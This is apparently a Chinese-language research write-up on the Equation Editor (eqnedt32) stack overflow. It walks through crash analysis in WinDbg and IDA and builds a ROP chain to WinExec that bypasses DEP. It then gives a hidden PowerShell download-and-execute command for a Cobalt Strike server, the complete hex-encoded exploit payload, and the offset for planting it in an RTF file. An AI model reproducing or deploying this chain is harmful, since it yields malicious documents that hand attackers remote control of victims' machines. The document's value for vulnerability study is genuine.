。
。
在测试过程中发现有时漏洞不会触发,而且windbg等调试器容易出现闪退的现象,原因未知,所以一定要做快照。
。
。
03 漏洞成因在fuzz过程中产生了崩溃,使用windbg的!analyze插件分析崩溃转储文件。分析结果如下图所示:在ida中找到对应的地址,然后向上追溯那些指令修改了eax。可以看到在004362b6处有call指令,说明call指令调用的函数返回的结果存在问题。查看伪代码,对应的函数为sub_43622d中的v8[8]函数。结合伪代码和call指令的格式,大概推断程序使用了虚函数表。在注册表中向公式编辑器添加字符串类型的Debugger值,确保公式编辑器被启动时可以触发windbg并可以调试公式编辑器。在004362b6处下断点。//每次命中断点时显示eax的值然后继续执行bp 004362B6 ".printf \"hits=%d\n\",$t0;r @$t0=@$t0+1;r @eax;gc"⚠在使用windbg下断点时如果使用文件名+偏移量的方式,则一定要先使用lm命令来查看文件加载后的真实名字。例如a文件直接看到的名字是a.exe,但是在加载后可能为a32.exe。下断点时则需要使用a32+偏移量来下断点。断点记录如下:hits=0 eax=00451938hits=1 eax=00451970。。。(hits1-hits56的eax值均为00451970)hits=56 eax=00451970hits=57 eax=00450f58Breakpoint 1 hiteax=00450530 ebx=00772658 ecx=004505bc edx=00000000 esi=0000ffff edi=0019f14ceip=74fbdab0 esp=0019eee0 ebp=0019efec iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202KERNEL32!WinExec:74fbdab0 8bff mov edi,edi可以看到eax的值一共有00451938、00451970、00450f58这三种情况。这三个值加上20h对应的在ida中对应的情况如下:00451938:00451970:00450f58:在eqnedt32+0x362b6处下条件断点,查看eax为00451970和00450f58时调用的函数。bu eqnedt32+0x362b6 ".if @eax=0x00450f58 {} .else {gh}"在eax=00451970时调用了0043ebdf处的函数。在eax=00450f58时调用了0043ebdf处函数。在ida中查看0043ebdf处,发现ida并没有解析出该函数,需要用ida创建函数。⚠编译器的优化可能导致ida无法解析出函数,导致无法在函数列表中检索到对应的函数。创建函数后查看伪代码。对43ebdf中涉及的3函数分析。sub_436c85函数只是进行值的选择:sub_415c54中进行指针的调整:sub_43ECFA中涉及了result,同时把读取的byte值放入栈中。sub_43ecfa涉及的参数在栈中的分布如下图所示。当时v4足够大时,sub_43ecfa中的while循环会不停的向栈中写入数据,直到把ebp和返回地址覆盖掉。04 漏洞触发情况当eax=00450f58和00451970,即case=2,case=5时会调用sub_43EBDF。根据MathType 6.9 SDK:在解析char record和matrlx record记录时会发现栈溢出漏洞。05 利用过程在x64dbg下使用checksec查看查看eqnedit采用的保护技术。结果如下图所示,只启用了dep措施。所以尝试使用rop的方式来执行命令。先梳理出利用winexec的rop逻辑链条,如下所示:⚠刚开始组织payload的时候,没有考虑到payload的通用性。经过果哥提醒后注意到,后续组织payload时要考虑通用性。payload=buffer+ebp+&Gadgets1+&winexe()+&Gadgets2+&lpCmdLine+uCmdShow+&exit()Gadgets1=pop;ret;Gadgets2=pop;pop;ret;下面开始寻找payload中各部分的地址。1、buffer的长度进入sub_43ebdf后ebp=0x19efd0,v[7]=ebp-ch,所以需要32byte的buffer内容来覆盖ebp。2、&winexec()遍历程序加载模块中的winexec()后发现,只有eqnedit和kernel32.dll中有winexec。为了通用性使用eqnedit中的winexec。查询交叉引用后eqnedit中只有sub_42D8C0调用了winexec,所以使用eqnedit!sub_42D8C0替代kernel32!winexec。3、&exit()遍历程序加载模块中的exit()后发现,只有msvcrt.dll,kernelbase.dll,comctl32.dll和eqnedit.exe中有合适的exit()函数。msvcrt.dll地址=772D6210类型=导出序号=291符号=_c_exitmsvcrt.dll地址=772D6230类型=导出序号=295符号=cexitkernelbase.dll地址=7656C2C0类型=导出序号=1864符号=cexitcomctl32.dll地址=65DD8805类型=符号符号=__cexit4、&lpCmdLine相关4.1、第一步确定cmdline要放rtf文件中的哪里可以放在rop链的最后。rtf文件打开时,程序会把对应的内容加载到堆中。⚠注意:从伪代码里看到,程序使用了GlobalLock来获取指针。所以不能用malloc的思路去理解globalalloc的堆分配思路。⚠通用句柄HANDLE有时候是逻辑指针,大多数时候是结构体指针,特殊句柄如HMENU等是结构体指针。4.2、第二步确定cmdline在内存中的什么位置cmdline被放在堆中,因为程序使用了globalalloc来申请堆,这种堆只能用globallock函数来读取,所以只能从程序中找globallock函数来获取cmdline的指针。同时要注意globallock函数只是把句柄转换为了指针,不能实现类似memcpy的功能。导⼊表⾥没有memcpy函数,所以只能使⽤实现内存拷⻉的函数,例如sub_43ECFA。5、寻找Gadgets使用immunity debugger的mona脚本寻找合适的Gadgets。
//使用下面的命令搜索pop pop ret 格式指令!mona seh -m KERNEL32.dll -cpb ‘\x00\x0a\x0d’//使用下面的命令搜索可用的 pop ret 格式指令!mona rop -m .dll -cpb ‘\x00\x0a\x0d’
选取相应的值给Gadgets1和Gadgets2赋值。为了payload的通用性,结果如下:Gadgets1="\x92\xb7\x44\x00"Gadgets2="\xd6\x74\x44\x00"06 利用上线在cc上部署cs端,在80端口上开启反向http。使用scripted web delivery(s)的方式发布在线ps1文件。则上述payload中的cmdline替换为下面的命令:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.44.128:80/a'))"16进制编码后成为:706f7765727368656c6c2e657865202d6e6f70202d772068696464656e202d6320224945582028286e65772d6f626a656374206e65742e776562636c69656e74292e646f776e6c6f6164737472696e672827687474703a2f2f3139322e3136382e34342e3132383a38302f6127292922经过多次测试,最终payload为:payload=buffer +Gadgets0 + &sub_43ecfa + Gadgets2 + 00000231(sub_43ecfa_arg1)+ cmdline +&winexec + &exit +cmdline + “00” +cmdlineBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB93B74400F5614300FAEC430092B744003102000030054500C0D8420030622D773005450000706f7765727368656c6c2e657865202d6e6f70202d772068696464656e202d6320224945582028286e65772d6f626a656374206e65742e776562636c69656e74292e646f776e6c6f6164737472696e672827687474703a2f2f3139322e3136382e34342e3132383a38302f6127292922
测试的时候发现缺少gadgets0会破坏数据结构,所以只能保留。07 样本制作由于在网上没有找到rtf文件结构的详细说明,而且char record和matrlx record的结构也没找到。而且构造空白的公式和特殊的公式进行二进制对比时,无法精确比较出矩阵公式的位置,所以只能从exp上分析,经过多次调试分析发现,从rtf文件的28551D(6F87h)处开始存放的数据会读入v[7],也就是sub_43ebdf第二次调用sub_43ecfa地方。从下面两张图可以看出v[7]包括ebp已经被’b’覆盖。所以把payload放在rtf文件偏移量为28551D后面。
0 评论